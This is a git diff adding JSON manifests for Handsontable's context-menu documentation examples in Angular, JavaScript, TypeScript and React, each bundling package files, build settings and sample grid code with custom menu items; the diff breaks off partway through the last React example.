a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example3.ts.json new file mode 100644 index 00000000..d5e0a4a8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnInit } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { ContextMenu } from 'handsontable/plugins/contextMenu';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent implements OnInit {\n\n readonly hotData = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n const contextMenuSettings = {\n callback(key: string, selection: any, clickEvent: any) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled(this: Handsontable): boolean {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // Use the dedicated separator constant to insert a separator line\n // (the key has to be unique)\n sp1: ContextMenu.SEPARATOR,\n row_below: {\n name: 'Click to add row below',\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden(this: Handsontable): boolean {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true,\n isCommand: false,\n },\n },\n };\n\n this.hotSettings = {\n rowHeaders: true,\n colHeaders: true,\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/context-menu/angular/example3.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example1.js.json new file mode 100644 index 00000000..561454c4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Context menu · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example1.js","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/context-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example1.ts.json new file mode 100644 index 00000000..e66f216f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Context menu · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example1.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/context-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example2.js.json new file mode 100644 index 00000000..aa6a884e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Context menu · Context menu with selected options · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: ['row_above', 'row_below', 'remove_row', 'clear_column'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example2.js","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example2","exampleTitle":"Context menu with selected options","docPermalink":"/context-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example2.ts.json new file mode 100644 index 00000000..d6944c6c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Context menu · Context menu with selected options · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n contextMenu: ['row_above', 'row_below', 'remove_row', 'clear_column'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example2.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example2","exampleTitle":"Context menu with selected options","docPermalink":"/context-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example3.js.json new file mode 100644 index 00000000..0f237552 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ContextMenu } from 'handsontable/plugins/contextMenu';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst contextMenuSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // Use the dedicated separator constant to insert a separator line\n // (the key has to be unique)\n sp1: ContextMenu.SEPARATOR,\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true,\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example3.js","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example3.ts.json new file mode 100644 index 00000000..50108413 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ContextMenu, DetailedSettings } from 'handsontable/plugins/contextMenu';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst contextMenuSettings: DetailedSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // Use the dedicated separator constant to insert a separator line\n // (the key has to be unique)\n sp1: ContextMenu.SEPARATOR,\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true, // Prevent mouseoever from highlighting the item for selection\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example3.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example1.tsx.json new file mode 100644 index 00000000..9ee45860 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Context menu · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/context-menu/react/example1.tsx","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/context-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example2.tsx.json new file mode 100644 index 00000000..9c40e95c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Context menu · Context menu with selected options · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
